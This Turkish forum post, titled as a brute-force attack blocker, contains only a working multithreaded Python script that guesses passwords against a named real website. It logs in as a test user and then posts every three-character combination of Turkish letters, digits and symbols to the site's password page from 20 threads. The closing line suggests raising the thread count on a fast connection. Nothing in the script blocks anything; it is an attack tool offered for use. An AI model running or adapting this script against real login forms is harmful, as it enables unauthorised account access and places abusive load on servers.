Buruteforce Attack Engelleyici

Kod bu:

import socket
from threading import Thread
import requests
from requests.exceptions import ConnectTimeout
from requests.exceptions import ReadTimeout

def combinator(karakterler, uzunluk, i=0):
    l = len(karakterler)
    for i in range(i, l ** uzunluk):
        s = ""
        for j in range(uzunluk):
            i, index = divmod(i,l)
            s += karakterler[index]
        yield s

karakterler = "ABCÇDEFGĞHIİJKLMNOÖPQRSŞTUÜVWXYZabcçdefgğhiijklmnoöpqrsştuüvwxyz0123456789-_@"

def main():
    global sayaç, generator
    while True:
        try:
            with requests.Session() as s:
                s.headers.update({'User-Agent': 'Custom user agent'})
                s.get("http://www.savadizayn.com.tr/BFA/")
                r = s.post("http://www.savadizayn.com.tr/BFA/", data = {"user":"Denemeee", "submit":"İleri"})
                for i in generator:
##                    print(i + "\n", end = "")
                    r = s.post("http://www.savadizayn.com.tr/BFA/parola.php", data = {"parola":i, "submit2":"İleri"}, timeout=5)
                    if r.status_code != 200: print("İstek başarısız.")
                    sayaç += 1
                    if sayaç % 100 == 0:
                        print(sayaç)
        except (ConnectTimeout, ReadTimeout, ConnectionError) as e: print(e)
            
            

def spawn():
    for i in range(20):
        t = Thread(target = main)
        t.daemon = True
        t.start()


if __name__ == "__main__":
    sayaç = 0
    generator = combinator(karakterler, 3)
    spawn()
    main()

Eğer internetiniz iyiyse thread sayısını arttırabilirsiniz.

1 Beğeni